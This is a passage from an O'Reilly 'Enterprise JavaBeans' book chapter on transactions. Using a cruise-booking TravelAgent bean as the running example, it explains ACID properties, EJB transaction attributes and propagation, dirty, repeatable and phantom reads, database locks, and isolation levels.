Consistency is a transactional characteristic that must be enforced by both the transactional system and the application developer. Consistency refers to the integrity of the underlying data store. The transactional system fulfills its obligation in consistency by ensuring that a transaction is atomic, isolated, and durable. The application developer must ensure that the database has appropriate constraints (primary keys, referential integrity, and so forth) and that the unit-of-work, the business logic, doesn't result in inconsistent data (data that is not in harmony with the real world it represents). In an account transfer, for example, a debit to one account must equal the credit to the other account.

Isolated

A transaction must be allowed to execute without interference from other processes or transactions. In other words, the data that a transaction accesses cannot be affected by any other part of the system until the transaction or unit-of-work is completed.

Durable

Durability means that all the data changes made during the course of a transaction must be written to some type of physical storage before the transaction is successfully completed. This ensures that the changes are not lost if the system crashes.

To get a better idea of what these principles mean, we will examine the TravelAgent bean in terms of the four ACID properties.

8.1.1. Is the TravelAgent Bean Atomic?

Our first measure of the TravelAgent bean's reliability is its atomicity: does it ensure that the transaction executes completely or not at all? What we are really concerned with are the critical tasks that change or create information. In the bookPassage() method, a Reservation bean is created, the ProcessPayment bean debits a credit card, and a Ticket object is created. All of these tasks must be successful for the entire transaction to be successful.

To understand the importance of the atomic characteristic, you have to imagine what would happen if even one of the subtasks failed to execute. If, for example, the creation of a Reservation failed but all other tasks succeeded, your customer would probably end up getting bumped from the cruise or sharing the cabin with a stranger. As far as the travel agent is concerned, the bookPassage() method executed successfully because a Ticket was generated. If a ticket is generated without the creation of a reservation, the state of the business system becomes inconsistent with reality because the customer paid for a ticket but the reservation was not recorded. Likewise, if the ProcessPayment bean fails to charge the customer's credit card, the customer gets a free cruise. He may be happy, but management isn't. Finally, if the Ticket is never created, the customer would have no record of the transaction and probably wouldn't be allowed onto the ship.

So the only way bookPassage() can be completed is if all the critical tasks execute successfully. If something goes wrong, the entire process must be aborted. Aborting a transaction requires more than simply not finishing the tasks; in addition, all the tasks that did execute within the transaction must be undone. If, for example, the creation of the Reservation bean and ProcessPayment.byCredit() method succeeded but the creation of the Ticket failed, then the Reservation record and payment records must not be added to the database.

8.1.2. Is the TravelAgent Bean Consistent?

In order for a transaction to be consistent, the state of the business system must make sense after the transaction has completed. In other words, the state of the business system must be consistent with the reality of the business. This requires that the transaction enforce the atomic, isolated, and durable characteristics of the transaction, and it also requires diligent enforcement of integrity constraints by the application developer. If, for example, the application developer fails to include the credit card charge operation in the bookPassage() method, the customer would be issued a ticket but would never be charged. The data would be inconsistent with the expectation of the business--a customer should be charged for passage. In addition, the database must be set up to enforce integrity constraints. For example, it should not be possible for a record to be added to the RESERVATION table unless the CABIN_ID, CRUISE_ID, and CUSTOMER_ID foreign keys map to corresponding records in the CABIN, CRUISE, and CUSTOMER tables, respectively. If a CUSTOMER_ID is used that doesn't map to a CUSTOMER record, referential integrity should cause the database to throw an error message.

8.1.3. Is the TravelAgent Bean Isolated?

If you are familiar with the concept of thread synchronization in Java or row-locking schemes in relational databases, isolation will be a familiar concept. To be isolated, a transaction must protect the data that it is accessing from other transactions. This is necessary to prevent other transactions from interacting with data that is in transition. In the TravelAgent bean, the transaction is isolated to prevent other transactions from modifying the beans that are being updated. Imagine the problems that would arise if separate transactions were allowed to change any entity bean at any time--transactions would walk all over each other. You could easily have several customers book the same cabin because their travel agents happened to make their reservations at the same time.

The isolation of data accessed by beans doesn't mean that the entire application shuts down during a transaction. Only those entity beans and data directly affected by the transaction are isolated. In the TravelAgent bean, for example, the transaction isolates only the Reservation bean created. There can be many Reservation beans in existence; there's no reason these other beans can't be accessed by other transactions.

8.1.4. Is the TravelAgent Bean Durable?

To be durable, the funds transfer must write all changes and new data to a permanent data store before it can be considered successful. While this may seem like a no-brainer, often it isn't what happens in real life. In the name of efficiency, changes are often maintained in memory for long periods of time before being saved on a disk drive. The idea is to reduce disk accesses--which slow systems down--and only periodically write the cumulative effect of data changes. While this approach is great for performance, it is also dangerous because data can be lost when the system goes down and memory is wiped out. Durability requires the system to save all updates made within a transaction as the transaction successfully completes, thus protecting the integrity of the data.

In the TravelAgent bean, this means that the new RESERVATION and PAYMENT records inserted are made persistent before the transaction can complete successfully. Only when the data is made durable are those specific records accessible through their respective beans from other transactions. Hence, durability also plays a role in isolation. A transaction isn't finished until the data is successfully recorded.

Ensuring that transactions adhere to the ACID principles requires careful design. The system has to monitor the progress of a transaction to ensure that it does all its work, that the data is changed correctly, that transactions don't interfere with each other, and that the changes can survive a system crash. Engineering all this functionality into a system is a lot of work, and not something you would want to reinvent for every business system you worked on. Fortunately, EJB is specifically designed to support transactions automatically, making the development of transactional systems easier. The rest of this chapter examines how EJB supports transactions implicitly (through declarative transaction attributes) and explicitly (through the Java Transaction API).

Previous | Home | Next
7.4. The Life Cycle of a Stateful Session Bean | Book Index | 8.2. Declarative Transaction Management
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Declarative Transaction Management (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

8.2. Declarative Transaction Management

One of the primary advantages of Enterprise JavaBeans is that it allows for declarative transaction management. Without this feature, transactions must be controlled using explicit transaction demarcation. This involves the use of fairly complex APIs like the OMG's OTS (Object Transaction Service) or its Java implementation, JTS ( Java Transaction Service). Explicit demarcation is difficult for developers to use at best, particularly if you are new to transactional systems. In addition, explicit transaction demarcation requires that the transactional code be written within the business logic, which reduces the clarity of the code and more importantly creates inflexible distributed objects. Once transaction demarcation is "hardcoded" into the business object, changes in transaction behavior require changes to the business logic itself. We talk more about explicit transaction management and EJB later in this chapter.

With EJB's declarative transaction management, the transactional behavior of beans can be controlled using the deployment descriptor, which sets transaction attributes for individual bean methods. This means that the transactional behavior of a bean within an application can be changed easily without changing the bean's business logic. In addition, a bean deployed in one application can be defined with very different transactional behavior than the same bean deployed in a different application. Declarative transaction management reduces the complexity of transactions for bean developers and application developers and makes it easier for you to create robust transactional applications.

8.2.1. Transaction Scope

Transaction scopeis a crucial concept for understanding transactions. In this context, transaction scope means those beans--both session and entity--that are participating in a particular transaction.

In the bookPassage() method of the TravelAgent bean, all the beans involved are a part of the same transaction scope. The scope of the transaction starts when a client invokes the TravelAgent bean's bookPassage() method. Once the transaction scope has started, it is propagated to both the newly created Reservation bean and the ProcessPayment bean:

public Ticket bookPassage(CreditCard card, double price)
    throws IncompleteConversationalState{// EJB 1.0: also throws RemoteException

    if (customer == null || cruise == null || cabin == null) {
        throw new IncompleteConversationalState();
    }
    try {
        ReservationHome resHome =
            (ReservationHome) getHome("ReservationHome",ReservationHome.class);
        Reservation reservation =
        resHome.create(customer, cruise, cabin, price);
        ProcessPaymentHome ppHome = (ProcessPaymentHome)
            getHome("ProcessPaymentHome",ProcessPaymentHome.class);
        ProcessPayment process = ppHome.create();
        process.byCredit(customer, card, price);

        Ticket ticket = new Ticket(customer,cruise,cabin,price);
        return ticket;
    } catch(Exception e) {
        // EJB 1.0: throw new RemoteException("",e);
        throw new EJBException(e);
    }
}

As you know, a transaction is a unit-of-work that is made up of one or more tasks. In a transaction, all the tasks that make up the unit-of-work must succeed for the entire transaction to succeed; the transaction must be atomic. If any task fails, the updates made by all the other tasks in the transaction will be rolled back or undone. In EJB, tasks are expressed as bean methods, and a unit-of-work consists of every bean method invoked in a transaction. The scope of a transaction includes every bean that participates in the unit-of-work.

It is easy to trace the scope of a transaction by following the thread of execution. If the invocation of the bookPassage() method begins a transaction, then logically, the transaction ends when the method completes. The scope of the bookPassage() transaction would include the TravelAgent, Reservation, and ProcessPayment beans--every bean touched by the bookPassage() method. A transaction is propagated to a bean when that bean's method is invoked and included in the scope of a transaction.

A transaction can end if an exception is thrown while the bookPassage() method is executing. The exception could be thrown from one of the other beans or from the bookPassage() method itself. An exception may or may not cause a rollback, depending on its type. More about exceptions and transactions later.

The thread of execution isn't the only factor that determines whether a bean is included in the scope of a transaction; the bean's transaction attributes also play a role. Determining whether a bean participates in the transaction scope of any unit-of-work is accomplished either implicitly using EJB's transaction attributes or explicitly using the Java Transaction API ( JTA).

8.2.2. Transaction Attributes

As an application developer, you do not normally need to control transactions explicitly when using an EJB server. EJB servers can manage transactions implicitly, based on the transaction attributes established for beans at deployment time. The ability to specify how business objects participate in transactions through attribute-based programming is a common characteristic of CTMs, and one of the most important features of the EJB component model.

When an enterprise bean is deployed, you can set its runtime transaction attribute in the deployment descriptor to one of several values. Table 8-1 shows the transaction attributes, the XML attribute values used to specify these transaction attributes in an EJB 1.1 deployment descriptor, and the constants that represent these attributes in an EJB 1.0 deployment descriptor. We'll discuss the meaning of these attributes later in the chapter.

Table 8-1. Transaction Attributes

Transaction Attribute | EJB 1.1 Text Value | EJB 1.0 Constant
Not Supported | NotSupported | TX_NOT_SUPPORTED
Supports | Supports | TX_SUPPORTS
Required | Required | TX_REQUIRED
Requires New | RequiresNew | TX_REQUIRES_NEW
Mandatory | Mandatory | TX_MANDATORY
Never (1.1) | Never |
Bean Managed (1.0) |  | TX_BEAN_MANAGED

NOTE

The transaction attributes are declared differently in EJB 1.1 and EJB 1.0. In EJB 1.1, they are text values declared without spaces between words as shown in the "EJB 1.1 Text Value" column. In the EJB 1.0 deployment descriptors, transaction attributes are uppercase constants as shown in the "EJB 1.0 Constant" column. In this book we use the natural language format shown in the first column of Table 8-1 (words are separated by spaces), which maps to either the EJB 1.1 or EJB 1.0 declarations.1

Using transaction attributes simplifies building transactional applications by reducing the risks associated with improper use of transactional protocols like JTA (discussed later in this chapter). It's more efficient and easier to use transaction attributes than to control transactions explicitly.

It is possible to set a transaction attribute for the entire bean (in which case, it applies to all methods) or to set different transaction attributes for individual methods. The former is much simpler and less error prone, but setting attributes at the method level offers more flexibility. The code fragments in the following sections show how the default transaction attribute of a bean can be set in the bean's deployment descriptor.

8.2.2.1. EJB 1.1: Setting a transaction attribute

In EJB 1.1, a <container-transaction> element specifies the transaction attributes for the beans described in the deployment descriptor:

<ejb-jar>
  ...
  <assembly-descriptor>
     ...
     <container-transaction>
        <method>
            <ejb-name>TravelAgentBean</ejb-name>
            <method-name> * </method-name>
        </method>
        <trans-attribute>Required</trans-attribute>
     </container-transaction>
     <container-transaction>
        <method>
            <ejb-name>TravelAgentBean</ejb-name>
            <method-name>listAvailableCabins</method-name>
        </method>
        <trans-attribute>Supports</trans-attribute>
     </container-transaction>
     ...
   </assembly-descriptor>
   ...
</ejb-jar>

This deployment descriptor specifies the transaction attributes for the TravelAgent bean. The <container-transaction> element specifies a method and the transaction attribute that should be applied to that method. The first <container-transaction> element specifies that all methods by default have a transaction attribute of Required; the * is a wildcard that indicates all of the methods of the TravelAgent bean. The second <container-transaction> element overrides the default setting to specify that the listAvailableCabins() method will have a Supports transaction attribute. Note that we have to specify which bean we're referring to with the <ejb-name> element; an XML deployment descriptor can cover many beans.

8.2.2.2. EJB 1.0: Setting a transaction attribute

EJB 1.0 uses a control descriptor object within the deployment descriptor to set transaction attributes:

ControlDescriptor cd = new ControlDescriptor();
cd.setMethod(null);
cd.setTransactionAttribute (ControlDescriptor.TX_NOT_SUPPORTED);
ControlDescriptor [] cdArray = {cd};
sd.setControlDescriptors(cdArray);

The null argument to setMethod() means that the ControlDescriptor applies to the entire bean. To set the transaction attributes for a specific method, change the argument passed into setMethod() from null to a java.lang.reflect.Method object representing a business method in the bean class. Here is an example of how this might work:

ControlDescriptor cd = new ControlDescriptor();
Class [] parameters = new Class[0];
Method method = ShipBean.class.getDeclaredMethod("getName",parameters);
cd.setMethod(method);
cd.setTransactionAttribute(ControlDescriptor.TX_NOT_SUPPORTED);
ControlDescriptor [] cdArray = {cd};
sd.setControlDescriptors(cdArray);

8.2.3. Transaction Attributes Defined

Here are the definitions of the transaction attributes identified in the table of transaction attributes (Table 8-1). In a few of the definitions, we say that the client transaction is suspended. This means that the transaction is not propagated to the bean method being invoked; propagation of the transaction is temporarily halted until the bean method returns.

Not Supported

Invoking a method on a bean with this transaction attribute suspends the transaction until the method is completed. This means that the transaction scope is not propagated to the Not Supportedbean or any of the beans it calls. Once the method on the Not Supported bean is done, the original transaction resumes its execution.

Figure 8-1 shows that a Not Supported bean does not propagate the client transaction when one of its methods is invoked.

Figure 8-1. Not Supported attribute

Supports

This attribute means that the bean method will be included in the transaction scope if it is invoked within a transaction. In other words, if the bean or client that invokes the Supportsbean is part of a transaction scope, the Supports bean and all beans accessed by that bean become part of the original transaction. However, the Supports bean doesn't have to be part of a transaction and can interact with clients and beans that are not included in a transaction scope.

Figure 8-2(a) shows the Supports bean being invoked by a transactional client and propagating the transaction. Chapter 8, "Transactions"(b) shows the Supports bean being invoked from a non-transactional client.

Figure 8-2. Supports attribute

Required

This attribute means that the bean method must be invoked within the scope of a transaction. If the calling client or bean is part of a transaction, the Requiredbean is automatically included in its transaction scope. If, however, the calling client or bean is not involved in a transaction, the Required bean starts its own new transaction. The new transaction's scope covers only the Required bean and all beans accessed by that bean. Once the method invoked on the Required bean is done, the new transaction's scope ends.

Figure 8-3(a) shows the Required bean being invoked by a transactional client and propagating the transaction. Chapter 8, "Transactions"(b) shows the Required bean being invoked from a non-transactional client, which causes the Required bean to start its own transaction.

Figure 8-3. Required attribute

Requires New

This attribute means that a new transaction is always started. Regardless of whether the calling client or bean is part of a transaction, a method with the Requires Newattribute begins a new transaction when invoked. If the calling client is already involved in a transaction, that transaction is suspended until the Requires New bean's method call returns. The new transaction's scope only covers the Requires New bean and all the beans accessed by that bean. Once the method invoked on the Requires New bean is done, the new transaction's scope ends and the original transaction resumes.

Figure 8-4(a) shows the Requires New bean being invoked by a transactional client. The client's transaction is suspended while the bean executes under its own transaction. Figure 8-4(b) shows the Requires New bean being invoked from a non-transactional client; the Requires New executes under its own transaction.

Figure 8-4. Requires New attribute

Mandatory

This attribute means that the bean method must always be made part of the transaction scope of the calling client. If the calling client or bean is not part of a transaction, the invocation will fail, throwing a javax.transaction.TransactionRequiredException.

Figure 8-5(a) shows the Mandatory bean being invoked by a transactional client and propagating the transaction. Chapter 8, "Transactions"(b) shows the Mandatory bean being invoked from a non-transactional client; the method throws the TransactionRequiredException because there is no transaction scope.

Figure 8-5. Mandatory attribute

Never (EJB 1.1 only)

This attribute means that the bean method must never be invoked within the scope of a transaction. If the calling client or bean is part of a transaction, the Never bean will throw a RemoteException. If, however, the calling client or bean is not involved in a transaction, the Never bean will execute normally without a transaction.

Figure 8-6(a) shows the Never bean being invoked by a non-transactional client. Chapter 8, "Transactions"(b) shows the Never bean being invoked by transactional client; the method throws the RemoteException because the method can never be invoked by a client or bean that is included in a transaction.

Figure 8-6. Never attribute

Bean Managed (EJB 1.0 only)

This attribute means that the bean or method doesn't have its transactional context implicitly managed by the EJB server. Instead, the developer can use the Java Transaction API ( JTA) to explicitly manage transactions. The use of JTA and explicit transaction management are described later in this chapter.

The use of Bean Managedimposes the unusual restriction that transaction attributes of methods cannot be mixed. If one of a bean's methods is Bean Managed, then all methods of that bean must be Bean Managed. This is not the case with the other transaction attributes, which can be mixed within the same bean: different methods of the same bean may have different attributes. Transactions created within a Bean Managed bean can be propagated normally to other beans that support existing transactions (Supports, Required, and Mandatory).

How are bean-managed transactions supported in EJB 1.1? We'll discuss this in more detail later in the chapter. For the time being, it's enough to say that only session beans are allowed to manage transactions explicitly; entity beans cannot. The deployment descriptor of a session bean can have a transaction-type element that specifies whether the bean manages its own transactions.

Figure 8-7(a) shows the Bean Managed bean being invoked by a transactional client. The client's transaction is suspended while the bean executes under its own transaction. Figure 8-7(b) shows the Bean Managed bean being invoked from a non-transactional client; the Bean Managed bean executes under its own transaction.

Figure 8-7. Bean Managed attribute

8.2.4. Transaction Propagation

To illustrate the impact of transaction attributes on bean methods, we'll look once again at the bookPassage() method of the TravelAgent bean created in Chapter 7, "Session Beans":

public Ticket bookPassage(CreditCard card, double price)
throws IncompleteConversationalState{// EJB 1.0: also throws RemoteException

    if (customer == null || cruise == null || cabin == null) {
        throw new IncompleteConversationalState();
    }
    try {
        ReservationHome resHome =
            (ReservationHome) getHome("ReservationHome",ReservationHome.class);
        Reservation reservation =
        resHome.create(customer, cruise, cabin, price);
        ProcessPaymentHome ppHome = (ProcessPaymentHome)
            getHome("ProcessPaymentHome",ProcessPaymentHome.class);
        ProcessPayment process = ppHome.create();
        process.byCredit(customer, card, price);

        Ticket ticket = new Ticket(customer,cruise,cabin,price);
        return ticket;
    } catch(Exception e) {
        // EJB 1.0: throw new RemoteException("",e);
        throw new EJBException(e);
    }
}

In order for bookPassage() to execute as a successful transaction, both the creation of the Reservation bean and the charge to the customer must be successful. This means that both operations must be included in the same transaction. If either operation fails, the entire transaction fails. In these beans, we could have specified the Required transaction attribute as the default. This transaction attribute enforces our desired policy that all beans must execute within a transaction and thus ensures data consistency.

As a transaction monitor, an EJB server watches each method call in the transaction. If any of the updates fail, all the updates to all the beans will be reversed or rolled back. A rollback is like an undo command. If you have worked with relational databases, then the concept of a rollback should be familiar. Once an update is executed, you can either commit the update or roll it back. A commit makes the changes requested by the update permanent; a rollback aborts the update and leaves the database in its original state. Making beans transactional provides the same kind of rollback/commit control. For example, if the Reservation bean cannot be created, the charge made by the ProcessPayment bean is rolled back. Transactions make updates an all-or-nothing proposition. This ensures that the unit-of-work, like the bookPassage() method, executes as intended, and it prevents inconsistent data from being written to databases.

In cases where the container implicitly manages the transaction, the commit and rollback decisions are handled automatically. When transactions are managed explicitly within a bean or by the client, the responsibility falls on the bean or application developer to commit or roll back a transaction. Explicit demarcation of transactions is covered in detail later in this chapter.

Let's assume that the TravelAgent bean is created and used on a client as follows:

TravelAgent agent = agentHome.create(customer);
agent.setCabinID(cabin_id);
agent.setCruiseID(cruise_id):
try {
  agent.bookPassage(card,price);
} catch(Exception e) {
  System.out.println("Transaction failed!");
}

Furthermore, let's assume that the bookPassage() method has been given the transaction attribute Requires New. In this case, the client that invokes the bookPassage() method is not itself part of a transaction. When bookPassage() is invoked on the TravelAgent bean, a new transaction is created, as required by the Requires New attribute. This means that the TravelAgent bean registers itself with the EJB server's transaction manager, which will manage the transaction automatically. The transaction manager coordinates transactions, propagating the transaction scope from one bean to the next to ensure that all beans touched by a transaction are included in the transaction's unit-of-work. That way, the transaction manager can monitor the updates made by each bean and decide, based on the success of those updates, whether to commit all changes made by all beans to the database or roll them all back. If a system exception is thrown by the bookPassage() method, the transaction is automatically rolled back. We will talk more about exceptions later in this chapter.

NOTE

In EJB 1.0, where the transaction scope begins and ends with the bookPassage() method, an application exception thrown by bookPassage() also causes a transaction rollback.

When the byCredit() method is invoked within the bookPassage() method, the ProcessPayment bean registers with the manager under the transactional context that was created for the TravelAgent bean; the transactional context is propagated to the ProcessPayment bean. When the new Reservation bean is created, it is also registered with the manager under the same transaction. When all the beans are registered and their updates made, the transaction manager checks to ensure that their updates will work. If all the updates will work, then the manager allows the changes to become permanent. If one of the beans reports an error or fails, any changes made by either the ProcessPayment or Reservation bean are rolled back by the manager. Figure 8-8 illustrates the propagation and management of the TravelAgent bean's transactional context.

Figure 8-8. Managing the TravelAgent bean's transactional context

In addition to managing transactions in its own environment, an EJB server can coordinate with other transactional systems. If, for example, the ProcessPayment bean actually came from a different EJB server than the TravelAgent bean, the two EJB servers would cooperate to manage the transaction as one unit-of-work. This is called a distributed transaction.[1]

[1] Not all EJB servers support distributed transactions.

A distributed transaction is a great deal more complicated, requiring what is called a two-phase commit (2-PC or TPC). 2-PC is a mechanism that allows transactions to be managed across different servers and databases. The details of a 2-PC are beyond the scope of this book, but a system that supports it will not require any extra operations by a bean or application developer. If distributed transactions are supported, the protocol for propagating transactions, as discussed earlier, will be supported. In other words, as an application or bean developer, you should not notice a difference between local and distributed transactions.

Previous | Home | Next
8.1. ACID Transactions | Book Index | 8.3. Isolation and Database Locking
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Isolation and Database Locking (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

8.3. Isolation and Database Locking

Transaction isolation (the "I" in ACID) is a critical part of any transactional system. This section explains isolation conditions, database locking, and transaction isolation levels. These concepts are important when deploying any transactional system.

8.3.1. Dirty, Repeatable, and Phantom Reads

Transaction isolation is defined in terms of isolation conditions called dirty reads, repeatable reads, and phantom reads . These conditions describe what can happen when two or more transactions operate on the same data.[2]

[2]Isolation conditions are covered in detail by the ANSI SQL-92 Specification, Document Number: ANSI X3.135-1992 (R1998).

To illustrate these conditions, let's think about two separate client applications using their own instances of the TravelAgent to access the same data--specifically, a cabin record with the primary key of 99. These examples revolve around the RESERVATION table, which is accessed by both the bookPassage() method (through the Reservation bean) and the listAvailableCabins() method (through JDBC). It might be a good idea to go back to Chapter 7, "Session Beans" and review how the RESERVATION table is accessed through these methods. This will help you to understand how two transactions executed by two different clients can impact each other. Assume that both methods have a transaction attribute of Required.

8.3.1.1. Dirty reads

A dirty read occurs when the first transaction reads uncommitted changes made by a second transaction. If the second transaction is rolled back, the data read by the first transaction becomes invalid because the rollback undoes the changes. The first transaction won't be aware that the data it has read has become invalid. Here's a scenario showing how a dirty read can occur (illustrated in Figure 8-9):

  1. Time 10:00:00: Client 1 executes the TravelAgent.bookPassage() method on its bean. Along with the Customer and Cruise beans, Client 1 had previously chosen Cabin 99 to be included in the reservation.

  2. Time 10:00:01: Client 1 creates a Reservation bean within the bookPassage() method. The Reservation bean's create() method inserts a record into the RESERVATION table, which reserves Cabin 99.

  3. Time 10:00:02: Client 2 executes TravelAgent.listAvailableCabins(). Cabin 99 has been reserved by Client 1, so it is not in the list of available cabins that are returned from this method.

  4. Time 10:00:03: Client 1 executes the ProcessPayment.byCredit() method within the bookPassage() method. The byCredit() method throws an exception because the expiration date on the credit card has passed.

  5. Time 10:00:04: The exception thrown by the ProcessPayment bean causes the entire bookPassage() transaction to be rolled back. As a result, the record inserted into the RESERVATION table when the Reservation bean was created is not made durable (it is removed). Cabin 99 is now available.

Figure 8-9. A dirty read

Client 2 is now using an invalid list of available cabins because Cabin 99 is available but is not included in the list. This would be serious if Cabin 99 was the last available cabin because Client 2 would inaccurately report that the cruise was booked. The customer would presumably try to book a cruise on a competing cruise line.

8.3.1.2. Repeatable reads

A repeatable read is when the data read is guaranteed to look the same if read again during the same transaction. Repeatable reads are guaranteed in one of two ways: either the data read is locked against changes or the data read is a snapshot that doesn't reflect changes. If the data is locked, then it cannot be changed by any other transaction until this transaction ends. If the data is a snapshot, then other transactions can change the data, but these changes won't be seen by this transaction if the read is repeated. Here's an example of a repeatable read (illustrated in Figure 8-10):

  1. Time 10:00:00: Client 1 begins an explicit javax.transaction.UserTransaction.

  2. Time 10:00:01: Client 1 executes TravelAgent.listAvailableCabins(2), asking for a list of available cabins that have two beds. Cabin 99 is in the list of available cabins.

  3. Time 10:00:02: Client 2 is working with an interface that manages Cabin beans. Client 2 attempts to change the bed count on Cabin 99 from 2 to 3.

  4. Time 10:00:03: Client 1 re-executes the TravelAgent.listAvailableCabins(2). Cabin 99 is still in the list of available cabins.

Figure 8-10. Repeatable read

This example is somewhat unusual because it uses javax.transaction.UserTransaction. This class is covered in more detail later in this chapter; essentially, it allows a client application to control the scope of a transaction explicitly. In this case, Client 1 places transaction boundaries around both calls to listAvailableCabins(), so that they are a part of the same transaction. If Client 1 didn't do this, the two listAvailableCabins() methods would have executed as separate transactions and our repeatable read condition would not have occurred.

Although Client 2 attempted to change the bed count for Cabin 99 to 3, Cabin 99 still shows up in the Client 1 call to listAvailableCabins() when a bed count of 2 is requested. This is because either Client 2 was prevented from making the change (because of a lock), or Client 2 was able to make the change, but Client 1 is working with a snapshot of the data that doesn't reflect that change.

A nonrepeatable read is when the data retrieved in a subsequent read within the same transaction can return different results. In other words, the subsequent read can see the changes made by other transactions.

8.3.1.3. Phantom reads

Phantom reads occur when new records added to the database are detectable by transactions that started prior to the insert. Queries will include records added by other transactions after their transaction has started. Here's a scenario that includes a phantom read (illustrated in Figure 8-11):

  1. Time 10:00:00: Client 1 begins an explicit javax.transaction.UserTransaction.

  2. Time 10:00:01: Client 1 executes TravelAgent.listAvailableCabins(2), asking for a list of available cabins that have two beds. Cabin 99 is in the list of available cabins.

  3. Time 10:00:02: Client 2 executes bookPassage() and creates a Reservation bean. The reservation inserts a new record into the RESERVATION table, reserving cabin 99.

  4. Time 10:00:03: Client 1 re-executes the TravelAgent.listAvailableCabins(2). Cabin 99 is no longer in the list of available cabins.

Figure 8-11. Phantom read

Client 1 places transaction boundaries around both calls to listAvailableCabins(), so that they are a part of the same transaction. In this case, the reservation was made between the listAvailableCabins() queries in the same transaction. Therefore, the record inserted in the RESERVATION table didn't exist when the first listAvailableCabins() method is invoked, but it does exist and is visible when the second listAvailableCabins() method is invoked. The record inserted is a phantom record.

8.3.2. Database Locks

Databases, especially relational databases, normally use several different locking techniques. The most common are read locks, write locks, and exclusive write locks. (I've taken the liberty of adding "snapshots," although this isn't a formal term.) These locking mechanisms control how transactions access data concurrently. Locking mechanisms impact the read conditions that were just described. These types of locks are simple concepts that are not directly addressed in the EJB specification. Database vendors implement these locks differently, so you should understand how your database addresses these locking mechanisms to best predict how the isolation levels described in this section will work.

Read locks

Read locks prevent other transactions from changing data read during a transaction until the transaction ends, thus preventing nonrepeatable reads. Other transactions can read the data but not write it. The current transaction is also prohibited from making changes. Whether a read lock locks only the records read, a block of records, or a whole table depends on the database being used.

Write locks

Write locks are used for updates. A write lock prevents other transactions from changing the data until the current transaction is complete. A write lock allows dirty reads, by other transactions and by the current transaction itself. In other words, the transaction can read its own uncommitted changes.

Exclusive write locks

Exclusive write locks are used for updates. An exclusive write lock prevents other transactions from reading or changing data until the current transaction is complete. An exclusive write lock prevents dirty reads by other transactions. Other transactions are not allowed to read the data while it is exclusively locked. Some databases do not allow transactions to read their own data while it is exclusively locked.

Snapshots

Some databases get around locking by providing every transaction with its own snapshot of the data. A snapshot is a frozen view of the data that is taken when the transaction begins. Snapshots can prevent dirty reads, nonrepeatable reads, and phantom reads. Snapshots can be problematic because the data is not real-time; it is old the instant the snapshot is taken.

8.3.3. Transaction Isolation Levels

Transaction isolation is defined in terms of the isolation conditions (dirty reads, repeatable reads, and phantom reads). Isolation levels are commonly used in database systems to describe how locking is applied to data within a transaction.[3] The following terms are usually used to discuss isolation levels:

[3]Isolation conditions are covered in detail by ANSI SQL-92 Specification, Document Number: ANSI X3.135-1992 (R1998).

Read Uncommitted

The transaction can read uncommitted data (data changed by a different transaction that is still in progress).

Dirty reads, nonrepeatable reads, and phantom reads can occur. Bean methods with this isolation level can read uncommitted change.

Read Committed

The transaction cannot read uncommitted data; data that is being changed by a different transaction cannot be read.

Dirty reads are prevented; nonrepeatable reads and phantom reads can occur. Bean methods with this isolation level cannot read uncommitted data.

Repeatable Read

The transaction cannot change data that is being read by a different transaction.

Dirty reads and nonrepeatable reads are prevented; phantom reads can occur. Bean methods with this isolation level have the same restrictions as Read Committed and can only execute repeatable reads.

Serializable

The transaction has exclusive read and update privileges to data; different transactions can neither read nor write the same data.

Dirty reads, nonrepeatable reads, and phantom reads are prevented. This isolation level is the most restrictive.

These isolation levels are the same as those defined for JDBC. Specifically, they map to the static final variables in the java.sql.Connection class. The behavior modeled by the isolation levels in the connection class is the same as the behavior described here.

The exact behavior of these isolation levels depends largely on the locking mechanism used by the underlying database or resource. How the isolation levels work depends in large part on how your database supports them.

8.3.3.1. EJB 1.1 transaction isolation control

In EJB 1.1, isolation levels are not controlled through declarative attributes, as was the case in EJB 1.0. In EJB 1.1, the deployer sets transaction isolation levels if the container manages the transaction. The bean developer sets the transaction isolation level if the bean manages the transaction. Up to this point we have only discussed container-managed transactions; bean-managed transactions are discussed later in this chapter.

8.3.3.2. EJB 1.0 transaction isolation control

EJB 1.0 describes four isolation levels that can be assigned to the methods of a bean in the ControlDescriptor. We did this several times when we created control descriptors for all the beans we developed in this book. Here is a snippet of code from the MakeDD class used to create the TravelAgentDD.ser in Chapter 7, "Session Beans", showing how we set the isolation level:

ControlDescriptor cd = new ControlDescriptor();
cd.setIsolationLevel (ControlDescriptor.TRANSACTION_SERIALIZABLE);
cd.setMethod(null);
ControlDescriptor [] cdArray = {cd};
sd.setControlDescriptors(cdArray);

In our example so far, we have always used the isolation level ControlDescriptor.TRANSACTION_SERIALIZABLE, the most restrictive isolation level. Table 8-2 shows the transaction isolation levels and their corresponding attribute in the ControlDescriptor class.

Table 8-2. Isolation Level Attributes in EJB 1.0

Isolation Level | ControlDescriptor Constant
Read Committed | TRANSACTION_READ_COMMITTED
Read Uncommitted | TRANSACTION_READ_UNCOMMITTED
Repeatable Read | TRANSACTION_REPEATABLE_READ
Serializable | TRANSACTION_SERIALIZABLE

You are allowed to specify isolation levels on a per-method basis, but this flexibility comes with an important restriction: all methods invoked in the same transaction must have the same isolation level. You can't mix isolation levels within transactions at runtime.

8.3.4. Balancing Performance Against Consistency

Generally speaking, as the isolation levels become more restrictive, the performance of the system decreases because more restrictive isolation levels prevent transactions from accessing the same data. If isolation levels are very restrictive, like Serializable, then all transactions, even simple reads, must wait in line to execute. This can result in a system that is very slow. EJB systems that process a large number of concurrent transactions and need to be very fast will therefore avoid the Serializableisolation level where it is not necessary, since it will be prohibitively slow.

Isolation levels, however, also enforce consistency of data. More restrictive isolation levels help ensure that invalid data is not used for performing updates. The old adage "garbage in, garbage out" applies here. The Serializable isolation level ensures that data is never accessed concurrently by transactions, thus ensuring that the data is always consistent.

Choosing the correct isolation level requires some research about the database you are using and how it handles locking. You must also balance the performance needs of your system against consistency. This is not a cut-and-dried process, because different applications use data differently.

Although there are only three ships in Titan's system, the beans that represent them are included in most of Titan's transactions. This means that many, possibly hundreds, of transactions will be accessing these Ship beans at the same time. Access to Ship beans needs to be fast or it becomes a bottleneck, so we do not want to use very restrictive isolation levels. At the same time, the ship data also needs to be consistent; otherwise, hundreds of transactions will be using invalid data. Therefore, we need to use a strong isolation level when making changes to ship information. To accommodate these conflicting requirements, we can apply different isolation levels to different methods.

